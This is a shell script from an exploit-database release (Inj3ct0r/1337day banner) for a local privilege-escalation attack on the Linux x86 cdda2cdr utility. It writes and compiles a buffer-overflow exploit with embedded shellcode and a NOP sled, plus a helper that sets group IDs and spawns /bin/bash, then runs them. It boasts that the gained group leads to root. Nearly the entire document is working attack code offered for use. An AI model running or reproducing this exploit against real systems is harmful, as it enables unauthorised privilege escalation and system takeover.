#! /bin/sh
#
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm Angel Injection member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
cat > /tmp/cdda2x.c <<EOF
/**
** Linux x86 cdda2cdr local disk exploit
** gcc -o inj3ct0r inj3ct0r.c inj3ct0r <offset> <bufsiz>
**/
#include <stdlib.h>
#include <stdio.h>
char exec[]= /* Generic Linux x86 running our /tmp program */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/cd";
#define LEN 500
#define NOP 0x90
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
void main(int argc, char *argv[]) {
int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];
if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0);
}
else if (argc == 2){
offset=atoi(argv[1]);
}
else if (argc == 3) {
offset=atoi(argv[1]);
buflen=atoi(argv[2]);
}
else {
offset=500;
buflen=500;
}
addr=get_sp();
fprintf(stderr, "Linux x86 cdda2cdr local disk exploit\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),exec,strlen(exec));
for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4)
*(int *)&buf[i]=addr+offset;
execl("/usr/bin/cdda2cdr", "cdda2cdr", "-D", buf, NULL);
/*
for (i=0; i < strlen(buf); i++) putchar(buf[i]);
*/
}
EOF
cat > /tmp/cd.c <<EOF
void main() {
setregid(getegid(), getegid());
system("/bin/bash");
}
EOF
gcc -o /tmp/cd /tmp/cd.c
gcc -o /tmp/cdda2x /tmp/cdda2x.c
echo "Note that gid=6 leads to easy root access.."
/tmp/cdda2x
